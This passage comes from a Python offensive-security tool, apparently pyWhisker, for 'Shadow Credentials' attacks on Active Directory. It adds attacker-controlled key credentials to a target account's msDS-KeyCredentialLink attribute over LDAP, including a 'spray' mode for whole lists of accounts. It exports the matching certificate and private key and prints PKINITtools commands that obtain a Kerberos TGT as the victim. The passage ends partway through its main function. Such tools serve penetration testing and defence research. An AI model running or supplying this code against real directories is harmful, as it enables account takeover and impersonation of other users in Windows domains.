421 | certificate = X509Certificate2(subject=self.target_samname, keySize=2048, notBefore=(-40*365), notAfter=(40*365))
422 | self.logger.info("Certificate generated")
423 | self.logger.info("Generating KeyCredential")
424 | keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=self.target_dn, currentTime=DateTime())
425 | self.logger.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD())
426 | if self.logger.verbosity == 2:
427 | keyCredential.fromDNWithBinary(keyCredential.toDNWithBinary()).show()
428 | self.logger.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString())
429 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
430 | results = None
431 | for entry in self.ldap_session.response:
432 | if entry['type'] != 'searchResEntry':
433 | continue
434 | results = entry
435 | if not results:
436 | self.logger.error('Could not query target user properties')
437 | return
438 | try:
439 | new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()]
440 | self.logger.info("Updating the msDS-KeyCredentialLink attribute of %s" % self.target_samname)
441 | self.ldap_session.modify(self.target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]})
442 | if self.ldap_session.result['result'] == 0:
443 | self.logger.success("Updated the msDS-KeyCredentialLink attribute of the target object")
444 | if path is None:
445 | path = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
446 | self.logger.verbose("No filename was provided. The certificate(s) will be stored with the filename: %s" % path)
447 | if export_type == "PEM":
448 | certificate.ExportPEM(path_to_files=path)
449 | self.logger.success("Saved PEM certificate at path: %s" % path + "_cert.pem")
450 | self.logger.success("Saved PEM private key at path: %s" % path + "_priv.pem")
451 | self.logger.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
452 | self.logger.verbose("Run the following command to obtain a TGT")
453 | self.logger.verbose("python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache" % (path, path, target_domain if target_domain is not None else domain, self.target_samname, path))
454 | elif export_type == "PFX":
455 | if password is None:
456 | password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20))
457 | self.logger.verbose("No pass was provided. The certificate will be stored with the password: %s" % password)
458 | certificate.ExportPEM(path_to_files=path)
459 | pem_cert_file = path + "_cert.pem"
460 | pem_key_file = path + "_priv.pem"
461 |
462 | out_pfx_file = path + ".pfx"
463 |
464 | self.logger.info(f"Converting PEM -> PFX with cryptography: {out_pfx_file}")
465 | export_pfx_with_cryptography(pem_cert_file=pem_cert_file,
466 | pem_key_file=pem_key_file,
467 | pfx_password=password,
468 | out_file=out_pfx_file)
469 |
470 | self.logger.success("Saved PFX (#PKCS12) certificate & key at path: %s" % out_pfx_file)
471 | self.logger.info("Must be used with password: %s" % password)
472 | self.logger.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
473 | self.logger.verbose("Run the following command to obtain a TGT")
474 | self.logger.verbose("python3 PKINITtools/gettgtpkinit.py -cert-pfx %s -pfx-pass %s %s/%s %s.ccache" % (out_pfx_file, password, target_domain if target_domain is not None else domain, self.target_samname, path))
475 | else:
476 | if self.ldap_session.result['result'] == 50:
477 | self.logger.error('Could not modify object, the server reports insufficient rights: %s' % self.ldap_session.result['message'])
478 | elif self.ldap_session.result['result'] == 19:
479 | self.logger.error('Could not modify object, the server reports a constrained violation: %s' % self.ldap_session.result['message'])
480 | else:
481 | self.logger.error('The server returned an error: %s' % self.ldap_session.result['message'])
482 | except IndexError:
483 | self.logger.info('Attribute msDS-KeyCredentialLink does not exist')
484 | return
485 |
486 |
487 | def spray(self, password, path, export_type, domain, target_domain):
488 | self.logger.info("Performing attempts to add msDS-KeyCredentialLink for a list of users")
489 | if type(self.target_samname) == str:
490 | self.target_samname = [self.target_samname]
491 | if path is None:
492 | path = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
493 | self.logger.verbose("No filename was provided. The certificate(s) will be stored with the filename: _%s" % path)
494 | if export_type == "PFX" and password is None:
495 | password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20))
496 | self.logger.verbose("No pass was provided. The certificate will be stored with the password: %s" % password)
497 | targets_owned = []
498 | for samname in self.target_samname:
499 | result = self.get_dn_sid_from_samname(samname)
500 | if not result:
501 | continue
502 | else:
503 | self.target_dn = result[0]
504 | certificate = X509Certificate2(subject=samname, keySize=2048, notBefore=(-40*365), notAfter=(40*365))
505 | keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=self.target_dn, currentTime=DateTime())
506 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
507 | results = None
508 | for entry in self.ldap_session.response:
509 | if entry['type'] != 'searchResEntry':
510 | continue
511 | results = entry
512 | if not results:
513 | continue
514 | try:
515 | new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()]
516 | self.ldap_session.modify(self.target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]})
517 | if self.ldap_session.result['result'] == 0:
518 | targets_owned.append(samname)
519 | self.logger.success(f"Updated the msDS-KeyCredentialLink attribute of the target object: {samname}")
520 | if export_type == "PEM":
521 | certificate.ExportPEM(path_to_files=f'{samname}_{path}')
522 | self.logger.info(f"Saved PEM certificate for {samname} at path {samname + '_' + path + '_cert.pem'}, PEM private key at path {samname + '_' + path + '_priv.pem'}")
523 | elif export_type == "PFX":
524 | certificate.ExportPEM(path_to_files=f'{samname}_{path}')
525 | pem_cert_file = f'{samname}_{path}_cert.pem'
526 | pem_key_file = f'{samname}_{path}_priv.pem'
527 | out_pfx_file = f'{samname}_{path}.pfx'
528 | export_pfx_with_cryptography(pem_cert_file, pem_key_file, password, out_pfx_file)
529 | self.logger.info(f"Saved PFX (#PKCS12) certificate & key for {samname} at path {out_pfx_file}, the password is {password}")
530 | except IndexError:
531 | self.logger.info('Attribute msDS-KeyCredentialLink does not exist')
532 | if not targets_owned:
533 | self.logger.warning("No user object was modified during the spray")
534 | else:
535 | self.logger.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools")
536 | self.logger.verbose("Run the following command to obtain a TGT")
537 | if export_type == "PEM":
538 | self.logger.verbose("python3 PKINITtools/gettgtpkinit.py -cert-pem _%s_cert.pem -key-pem _%s_priv.pem %s/ .ccache" % (path, path, target_domain if target_domain is not None else domain))
539 | elif export_type == "PFX":
540 | self.logger.verbose("python3 PKINITtools/gettgtpkinit.py -cert-pfx _%s.pfx -pfx-pass %s %s/ .ccache" % (path, password, target_domain if target_domain is not None else domain))
541 |
542 |
543 | def remove(self, device_id):
544 | self.logger.info("Searching for the target account")
545 | result = self.get_dn_sid_from_samname(self.target_samname)
546 | if not result:
547 | self.logger.error('Target account does not exist! (wrong domain?)')
548 | return
549 | else:
550 | self.target_dn = result[0]
551 | self.logger.info("Target user found: %s" % self.target_dn)
552 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
553 | results = None
554 | for entry in self.ldap_session.response:
555 | if entry['type'] != 'searchResEntry':
556 | continue
557 | results = entry
558 | if not results:
559 | self.logger.error('Could not query target user properties')
560 | return
561 | try:
562 | new_values = []
563 | device_id_in_current_values = False
564 | for dn_binary_value in results['raw_attributes']['msDS-KeyCredentialLink']:
565 | keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value))
566 | if keyCredential.DeviceId is None:
567 | self.logger.warning("Failed to parse DeviceId for keyCredential: %s" % (str(dn_binary_value)))
568 | continue
569 | if keyCredential.DeviceId.toFormatD() == device_id:
570 | self.logger.info("Found value to remove")
571 | device_id_in_current_values = True
572 | else:
573 | new_values.append(dn_binary_value)
574 | if device_id_in_current_values:
575 | self.logger.info("Updating the msDS-KeyCredentialLink attribute of %s" % self.target_samname)
576 | self.ldap_session.modify(self.target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]})
577 | if self.ldap_session.result['result'] == 0:
578 | self.logger.success("Updated the msDS-KeyCredentialLink attribute of the target object")
579 | else:
580 | if self.ldap_session.result['result'] == 50:
581 | self.logger.error('Could not modify object, the server reports insufficient rights: %s' % self.ldap_session.result['message'])
582 | elif self.ldap_session.result['result'] == 19:
583 | self.logger.error('Could not modify object, the server reports a constrained violation: %s' % self.ldap_session.result['message'])
584 | else:
585 | self.logger.error('The server returned an error: %s' % self.ldap_session.result['message'])
586 | else:
587 | self.logger.error("No value with the provided DeviceID was found for the target object")
588 | except IndexError:
589 | self.logger.info('Attribute msDS-KeyCredentialLink does not exist')
590 | return
591 |
592 |
593 | def clear(self):
594 | self.logger.info("Searching for the target account")
595 | result = self.get_dn_sid_from_samname(self.target_samname)
596 | if not result:
597 | self.logger.error('Target account does not exist! (wrong domain?)')
598 | return
599 | else:
600 | self.target_dn = result[0]
601 | self.logger.info("Target user found: %s" % self.target_dn)
602 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
603 | results = None
604 | for entry in self.ldap_session.response:
605 | if entry['type'] != 'searchResEntry':
606 | continue
607 | results = entry
608 | if not results:
609 | self.logger.error('Could not query target user properties')
610 | return
611 | try:
612 | if len(results['raw_attributes']['msDS-KeyCredentialLink']) == 0:
613 | self.logger.info('Attribute msDS-KeyCredentialLink is empty')
614 | else:
615 | self.logger.info("Clearing the msDS-KeyCredentialLink attribute of %s" % self.target_samname)
616 | self.ldap_session.modify(self.target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, []]})
617 | if self.ldap_session.result['result'] == 0:
618 | self.logger.success('msDS-KeyCredentialLink cleared successfully!')
619 | else:
620 | if self.ldap_session.result['result'] == 50:
621 | self.logger.error('Could not modify object, the server reports insufficient rights: %s' % self.ldap_session.result['message'])
622 | elif self.ldap_session.result['result'] == 19:
623 | self.logger.error('Could not modify object, the server reports a constrained violation: %s' % self.ldap_session.result['message'])
624 | else:
625 | self.logger.error('The server returned an error: %s' % self.ldap_session.result['message'])
626 | return
627 | except IndexError:
628 | self.logger.info('Attribute msDS-KeyCredentialLink does not exist')
629 | return
630 |
631 |
632 | def importFromJSON(self, filename):
633 | self.logger.info("Searching for the target account")
634 | result = self.get_dn_sid_from_samname(self.target_samname)
635 | if not result:
636 | self.logger.error('Target account does not exist! (wrong domain?)')
637 | return
638 | else:
639 | self.target_dn = result[0]
640 | self.logger.info("Target user found: %s" % self.target_dn)
641 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
642 | results = None
643 | for entry in self.ldap_session.response:
644 | if entry['type'] != 'searchResEntry':
645 | continue
646 | results = entry
647 | if not results:
648 | self.logger.error('Could not query target user properties')
649 | return
650 | try:
651 | if os.path.exists(filename):
652 | keyCredentials = []
653 | with open(filename, "r") as f:
654 | data = json.load(f)
655 | for kcjson in data["keyCredentials"]:
656 | if type(kcjson) == dict:
657 | keyCredentials.append(KeyCredential.fromDict(kcjson).toDNWithBinary().toString())
658 | elif type(kcjson) == str:
659 | keyCredentials.append(kcjson)
660 | self.logger.info("Modifying the msDS-KeyCredentialLink attribute of %s" % self.target_samname)
661 | self.ldap_session.modify(self.target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, keyCredentials]})
662 | if self.ldap_session.result['result'] == 0:
663 | self.logger.success('msDS-KeyCredentialLink modified successfully!')
664 | else:
665 | if self.ldap_session.result['result'] == 50:
666 | self.logger.error('Could not modify object, the server reports insufficient rights: %s' % self.ldap_session.result['message'])
667 | elif self.ldap_session.result['result'] == 19:
668 | self.logger.error('Could not modify object, the server reports a constrained violation: %s' % self.ldap_session.result['message'])
669 | else:
670 | self.logger.error('The server returned an error: %s' % self.ldap_session.result['message'])
671 | return
672 | except IndexError:
673 | self.logger.info('Attribute msDS-KeyCredentialLink does not exist')
674 | return
675 |
676 |
677 | def exportToJSON(self, filename):
678 | self.logger.info("Searching for the target account")
679 | result = self.get_dn_sid_from_samname(self.target_samname)
680 | if not result:
681 | self.logger.error('Target account does not exist! (wrong domain?)')
682 | return
683 | else:
684 | self.target_dn = result[0]
685 | self.logger.info("Target user found: %s" % self.target_dn)
686 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
687 | results = None
688 | for entry in self.ldap_session.response:
689 | if entry['type'] != 'searchResEntry':
690 | continue
691 | results = entry
692 | if not results:
693 | self.logger.error('Could not query target user properties')
694 | return
695 | try:
696 | if filename is None:
697 | filename = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8)) + ".json"
698 | self.logger.verbose("No filename was provided. The keyCredential(s) will be stored with the filename: %s" % filename)
699 | if len(os.path.dirname(filename)) != 0:
700 | if not os.path.exists(os.path.dirname(filename)):
701 | os.makedirs(os.path.dirname(filename), exist_ok=True)
702 | keyCredentialsJSON = {"keyCredentials":[]}
703 | for dn_binary_value in results['raw_attributes']['msDS-KeyCredentialLink']:
704 | try:
705 | keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value))
706 | keyCredentialsJSON["keyCredentials"].append(keyCredential.toDict())
707 | except Exception as e:
708 | self.logger.warning(f"Failed to serialize keyCredential, error: %s, saving the raw keyCredential instead, i.e.: %s" % (str(e), dn_binary_value.decode()))
709 | keyCredentialsJSON["keyCredentials"].append(dn_binary_value.decode())
710 | with open(filename, "w") as f:
711 | f.write(json.dumps(keyCredentialsJSON, indent=4))
712 | self.logger.success("Saved JSON dump at path: %s" % filename)
713 | except IndexError:
714 | self.logger.info('Attribute msDS-KeyCredentialLink does not exist')
715 | return
716 |
717 |
718 | def get_dn_sid_from_samname(self, samname):
719 | self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
720 | try:
721 | dn = self.ldap_session.entries[0].entry_dn
722 | sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
723 | return dn, sid
724 | except IndexError:
725 | self.logger.error('User not found in LDAP: %s' % samname)
726 | return False
727 |
728 | def get_sid_info(self, sid):
729 | self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname'])
730 | try:
731 | dn = self.ldap_session.entries[0].entry_dn
732 | samname = self.ldap_session.entries[0]['samaccountname']
733 | return dn, samname
734 | except IndexError:
735 | self.logger.error('SID not found in LDAP: %s' % sid)
736 | return False
737 |
738 |
739 | class Logger(object):
740 | def __init__(self, verbosity=0, quiet=False):
741 | self.verbosity = verbosity
742 | self.quiet = quiet
743 | self.console = Console()
744 | if verbosity == 3:
745 | print("(╯°□°)╯︵ ┻━┻ WHAT HAVE YOU DONE !? (╯°□°)╯︵ ┻━┻")
746 | exit(0)
747 | elif verbosity == 4:
748 | art = """
749 | ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠋⠉⡉⣉⡛⣛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
750 | ⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁⠄⠄⠄⠄⠄⢀⣸⣿⣿⡿⠿⡯⢙⠿⣿⣿⣿⣿⣿⣿
751 | ⣿⣿⣿⣿⣿⣿⡿⠄⠄⠄⠄⠄⡀⡀⠄⢀⣀⣉⣉⣉⠁⠐⣶⣶⣿⣿⣿⣿⣿⣿
752 | ⣿⣿⣿⣿⣿⣿⡇⠄⠄⠄⠄⠁⣿⣿⣀⠈⠿⢟⡛⠛⣿⠛⠛⣿⣿⣿⣿⣿⣿⣿
753 | ⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠈⠁⠰⣄⣴⡬⢵⣴⣿⣤⣽⣿⣿⣿⣿⣿⣿⣿
754 | ⣿⣿⣿⣿⣿⣿⡇⠄⢀⢄⡀⠄⠄⠄⠄⡉⠻⣿⡿⠁⠘⠛⡿⣿⣿⣿⣿⣿⣿⣿
755 | ⣿⣿⣿⣿⣿⡿⠃⠄⠄⠈⠻⠄⠄⠄⠄⢘⣧⣀⠾⠿⠶⠦⢳⣿⣿⣿⣿⣿⣿⣿
756 | ⣿⣿⣿⣿⣿⣶⣤⡀⢀⡀⠄⠄⠄⠄⠄⠄⠻⢣⣶⡒⠶⢤⢾⣿⣿⣿⣿⣿⣿⣿
757 | ⣿⣿⣿⣿⡿⠟⠋⠄⢘⣿⣦⡀⠄⠄⠄⠄⠄⠉⠛⠻⠻⠺⣼⣿⠟⠋⠛⠿⣿⣿
758 | ⠋⠉⠁⠄⠄⠄⠄⠄⠄⢻⣿⣿⣶⣄⡀⠄⠄⠄⠄⢀⣤⣾⣿⣿⡀⠄⠄⠄⠄⢹
759 | ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⣿⣿⣷⡤⠄⠰⡆⠄⠄⠈⠉⠛⠿⢦⣀⡀⡀⠄
760 | ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢿⣿⠟⡋⠄⠄⠄⢣⠄⠄⠄⠄⠄⠄⠄⠈⠹⣿⣀
761 | ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠘⣷⣿⣿⣷⠄⠄⢺⣇⠄⠄⠄⠄⠄⠄⠄⠄⠸⣿
762 | ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠹⣿⣿⡇⠄⠄⠸⣿⡄⠄⠈⠁⠄⠄⠄⠄⠄⣿
763 | ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⡇⠄⠄⠄⢹⣧⠄⠄⠄⠄⠄⠄⠄⠄⠘⠀⠀⠀⠀⠀⠀
764 |
765 |
766 | ⠀The best tools in the history of tools. Ever.
767 | """
768 | print(art)
769 | exit(0)
770 | elif verbosity == 5:
771 | art = """
772 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢤⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
773 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⡾⠿⢿⡀⠀⠀⠀⠀⣠⣶⣿⣷⠀⠀⠀⠀
774 | ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣦⣴⣿⡋⠀⠀⠈⢳⡄⠀⢠⣾⣿⠁⠈⣿⡆⠀⠀⠀
775 | ⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⠿⠛⠉⠉⠁⠀⠀⠀⠹⡄⣿⣿⣿⠀⠀⢹⡇⠀⠀⠀
776 | ⠀⠀⠀⠀⠀⣠⣾⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⣰⣏⢻⣿⣿⡆⠀⠸⣿⠀⠀⠀
777 | ⠀⠀⠀⢀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣆⠹⣿⣷⠀⢘⣿⠀⠀⠀
778 | ⠀⠀⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⠋⠉⠛⠂⠹⠿⣲⣿⣿⣧⠀⠀
779 | ⠀⢠⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣿⣿⣿⣷⣾⣿⡇⢀⠀⣼⣿⣿⣿⣧⠀
780 | ⠰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⡘⢿⣿⣿⣿⠀
781 | ⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⣷⡈⠿⢿⣿⡆
782 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠁⢙⠛⣿⣿⣿⣿⡟⠀⡿⠀⠀⢀⣿⡇
783 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣶⣤⣉⣛⠻⠇⢠⣿⣾⣿⡄⢻⡇
784 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣦⣤⣾⣿⣿⣿⣿⣆⠁
785 | ⠀ 🈵⠀STOP INCREASING VERBOSITY (PUNK!) 🈵⠀
786 | """
787 | print(art)
788 | exit(0)
789 |
790 | elif verbosity == 6:
791 | art = """
792 | ⣿⣿⣿⣿⣿⣿⠟⠋⠁⣀⣤⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿
793 | ⣿⣿⣿⣿⠋⠁⠀⠀⠺⠿⢿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠻⣿
794 | ⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⠀⠀⠀⠀⠀⣤⣦⣄⠀⠀
795 | ⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⠏⣿⣿⣿⣿⣿⣁⠀⠀⠀⠛⠙⠛⠋⠀⠀
796 | ⡿⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⣰⣿⣿⣿⣿⡄⠘⣿⣿⣿⣿⣷⠄⠀⠀⠀⠀⠀⠀⠀⠀
797 | ⡇⠀⠀⠀⠀⠀⠀⠀⠸⠇⣼⣿⣿⣿⣿⣿⣷⣄⠘⢿⣿⣿⣿⣅⠀⠀⠀⠀⠀⠀⠀⠀
798 | ⠁⠀⠀⠀⣴⣿⠀⣐⣣⣸⣿⣿⣿⣿⣿⠟⠛⠛⠀⠌⠻⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀
799 | ⠀⠀⠀⣶⣮⣽⣰⣿⡿⢿⣿⣿⣿⣿⣿⡀⢿⣤⠄⢠⣄⢹⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀
800 | ⠀⠀⠀⣿⣿⣿⣿⣿⡘⣿⣿⣿⣿⣿⣿⠿⣶⣶⣾⣿⣿⡆⢻⣿⣿⠃⢠⠖⠛⣛⣷⠀
801 | ⠀⠀⢸⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣮⣝⡻⠿⠿⢃⣄⣭⡟⢀⡎⣰⡶⣪⣿⠀
802 | ⠀⠀⠘⣿⣿⣿⠟⣛⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⡿⢁⣾⣿⢿⣿⣿⠏⠀
803 | ⠀⠀⠀⣻⣿⡟⠘⠿⠿⠎⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣵⣿⣿⠧⣷⠟⠁⠀⠀
804 | ⡇⠀⠀⢹⣿⡧⠀⡀⠀⣀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⢰⣿⠀⠀⠀⠀
805 | ⡇⠀⠀⠀⢻⢰⣿⣶⣿⡿⠿⢂⣿⣿⣿⣿⣿⣿⣿⢿⣻⣿⣿⣿⡏⠀⠀⠁⠀⠀⠀⠀
806 | ⣷⠀⠀⠀⠀⠈⠿⠟⣁⣴⣾⣿⣿⠿⠿⣛⣋⣥⣶⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀
807 | yamete kudasai !!!
808 | """
809 | print(art)
810 | exit(0)
811 | elif verbosity > 6:
812 | print("Sorry bruh, no more easter eggs")
813 | exit(0)
814 |
815 | def debug(self, message):
816 | if self.verbosity == 2:
817 | self.console.print("{}[DEBUG]{} {}".format("[yellow3]", "[/yellow3]", message), highlight=False)
818 |
819 | def verbose(self, message):
820 | if self.verbosity >= 1:
821 | self.console.print("{}[VERBOSE]{} {}".format("[blue]", "[/blue]", message), highlight=False)
822 |
823 | def info(self, message):
824 | if not self.quiet:
825 | self.console.print("{}[*]{} {}".format("[bold blue]", "[/bold blue]", message), highlight=False)
826 |
827 | def success(self, message):
828 | if not self.quiet:
829 | self.console.print("{}[+]{} {}".format("[bold green]", "[/bold green]", message), highlight=False)
830 |
831 | def warning(self, message):
832 | if not self.quiet:
833 | self.console.print("{}[-]{} {}".format("[bold orange3]", "[/bold orange3]", message), highlight=False)
834 |
835 | def error(self, message):
836 | if not self.quiet:
837 | self.console.print("{}[!]{} {}".format("[bold red]", "[/bold red]", message), highlight=False)
838 |
839 |
840 | def parse_args():
841 | parser = argparse.ArgumentParser(add_help=True, description='Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.')
842 | target = parser.add_mutually_exclusive_group(required=True)
843 | target.add_argument("-t", "--target", type=str, dest="target_samname", help="Target account")
844 | target.add_argument("-tl", "--target-list", type=str, dest="target_samname_list", help="Path to a file with target accounts names (one per line)")
845 |
846 | parser.add_argument("-a", "--action", choices=['list', 'add', 'spray', 'remove', 'clear', 'info', 'export', 'import'], nargs='?', default='list', help='Action to operate on msDS-KeyCredentialLink')
847 | parser.add_argument('--use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')
848 | parser.add_argument('--use-schannel', action='store_true', help='Use LDAP Schannel (TLS) for certificate-based authentication')
849 | parser.add_argument("-v", "--verbose", dest="verbosity", action="count", default=0, help="verbosity level (-v for verbose, -vv for debug)")
850 | parser.add_argument("-q", "--quiet", dest="quiet", action="store_true", default=False, help="show no information at all")
851 |
852 | authconn = parser.add_argument_group('authentication & connection')
853 | authconn.add_argument('--dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter')
854 | authconn.add_argument('--dc-host', action='store', metavar='DC_HOST', default=None, help='Hostname of the target, can be used if port 445 is blocked or if NTLM is disabled')
855 | authconn.add_argument("-d", "--domain", dest="auth_domain", metavar="DOMAIN", action="store", help="(FQDN) domain to authenticate to")
856 | authconn.add_argument("-u", "--user", dest="auth_username", metavar="USER", action="store", help="user to authenticate with")
857 | authconn.add_argument("-crt", "--certfile", dest="crt", metavar="CERTFILE", help="Path to the user certificate (PEM format) for Schannel authentication")
858 | authconn.add_argument("-key", "--keyfile", dest="key", metavar="KEYFILE", help="Path to the user private key (PEM format) for Schannel authentication")
859 | authconn.add_argument("-td", "--target-domain", type=str, dest="target_domain", help="Target domain (if different than the domain of the authenticating user)")
860 |
861 | secret = parser.add_argument_group()
862 | cred = secret.add_mutually_exclusive_group()
863 | cred.add_argument('--no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
864 | cred.add_argument("-p", "--password", dest="auth_password", metavar="PASSWORD", action="store", help="password to authenticate with")
865 | cred.add_argument("-H", "--hashes", dest="auth_hashes", action="store", metavar="[LMHASH:]NTHASH", help='NT/LM hashes, format is LMhash:NThash')
866 | cred.add_argument('--aes-key', dest="auth_key", action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
867 | secret.add_argument("-k", "--kerberos", dest="use_kerberos", action="store_true", help='Use Kerberos authentication.')
868 |
869 | add = parser.add_argument_group('arguments when setting -action to add')
870 | add.add_argument("-P", "--pfx-password", action='store', help='password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)')
871 | add.add_argument("-f", "--filename", action='store', help='filename to store the generated self-signed PEM or PFX certificate and key, or filename for the "import"/"export" actions')
872 | add.add_argument("-e", "--export", action='store', choices=["PEM","PFX"], type = lambda s : s.upper(), default="PFX", help='choose to export cert+private key in PEM or PFX (default: PFX)')
873 |
874 | remove = parser.add_argument_group('arguments when setting -action to remove')
875 | remove.add_argument("-D", "--device-id", action='store', help='device ID of the KeyCredentialLink to remove when setting -action to remove')
876 |
877 | if len(sys.argv) == 1:
878 | parser.print_help()
879 | sys.exit(1)
880 |
881 | #if (args.action == "remove" or args.action == "info") and not hasattr(sys.argv, 'device_id'):
882 | # # fallback-check
883 | # pass
884 |
885 | args = parser.parse_args()
886 |
887 | if (args.action == "remove" or args.action == "info") and args.device_id is None:
888 | parser.error("the following arguments are required when setting -action == remove or info: -D/--device-id")
889 |
890 | if args.action == "import" and args.filename is None:
891 | parser.error("the following arguments are required when setting -action == import: -f/--filename")
892 |
893 | return args
894 |
895 |
896 | def main():
897 | args = parse_args()
898 | logger = Logger(args.verbosity, args.quiet)
899 |
900 | if args.target_samname_list and args.action != 'spray':
901 | logger.error('`--target-list` should be specified only when using `--action spray` !')
902 | sys.exit(1)
903 |
904 | if args.target_samname_list:
905 | if os.path.isfile(args.target_samname_list):
906 | with open(args.target_samname_list, 'r') as f:
907 | target_samname = f.read().splitlines()
908 | else:
909 | logger.error(f'File {args.target_samname_list} does not exist!')
910 | sys.exit(1)
911 | else:
912 | target_samname = args.target_samname
913 |
914 | target_domain = args.target_domain
915 |
916 | auth_lm_hash = ""
917 | auth_nt_hash = ""
918 | if args.auth_hashes is not None:
919 | if ":" in args.auth_hashes:
920 | auth_lm_hash = args.auth_hashes.split(":")[0]
921 | auth_nt_hash = args.auth_hashes.split(":")[1]
922 | else:
923 | auth_nt_hash = args.auth_hashes
924 |
925 | try:
926 | ldap_server, ldap_session = init_ldap_session(
927 | args=args,
928 | domain=args.auth_domain,
